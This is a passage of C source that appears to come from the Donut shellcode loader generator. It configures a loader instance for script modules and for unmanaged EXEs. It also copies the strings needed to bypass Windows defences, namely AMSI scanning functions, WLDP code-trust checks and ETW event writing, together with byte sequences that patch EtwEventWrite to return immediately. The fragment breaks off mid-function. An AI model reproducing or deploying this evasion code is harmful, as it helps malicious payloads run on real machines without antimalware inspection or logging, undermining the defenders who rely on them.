strcpy(inst->wscript, "WScript");
strcpy(inst->wscript_exe, "wscript.exe");
if(c->mod_type == DONUT_MODULE_VBS) {
memcpy(&inst->xCLSID_ScriptLanguage, &xCLSID_VBScript, sizeof(GUID));
} else {
memcpy(&inst->xCLSID_ScriptLanguage, &xCLSID_JScript, sizeof(GUID));
}
}
// if bypassing enabled, copy these strings over
if(c->bypass != DONUT_BYPASS_NONE) {
DPRINT("Copying strings required to bypass AMSI");
strcpy(inst->clr, "clr");
strcpy(inst->amsi, "amsi");
strcpy(inst->amsiInit, "AmsiInitialize");
strcpy(inst->amsiScanBuf, "AmsiScanBuffer");
strcpy(inst->amsiScanStr, "AmsiScanString");
DPRINT("Copying strings required to bypass WLDP");
strcpy(inst->wldp, "wldp");
strcpy(inst->wldpQuery, "WldpQueryDynamicCodeTrust");
strcpy(inst->wldpIsApproved, "WldpIsClassInApprovedList");
DPRINT("Copying strings required to bypass ETW");
strcpy(inst->ntdll, "ntdll");
strcpy(inst->etwEventWrite, "EtwEventWrite");
strcpy(inst->etwEventUnregister, "EtwEventUnregister");
strcpy(inst->etwRet64, "\xc3");
strcpy(inst->etwRet32, "\xc2\x14\x00\x00");
}
// if module is an unmanaged EXE
if(c->mod_type == DONUT_MODULE_EXE) {
// does the user specify parameters for the command line?
if(c->args[0] != 0) {
DPRINT("Copying strings required to replace command line.");
strcpy(inst->dataname, ".data");
strcpy(inst->kernelbase, "kernelbase");
strcpy(inst->cmd_syms, "_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv");
}
// does user want loader to run the entrypoint as a thread?
if(c->thread != 0) {
DPRINT("Copying strings required to intercept exit-related API");
// these exit-related API will be replaced with pointer to RtlExitUserThread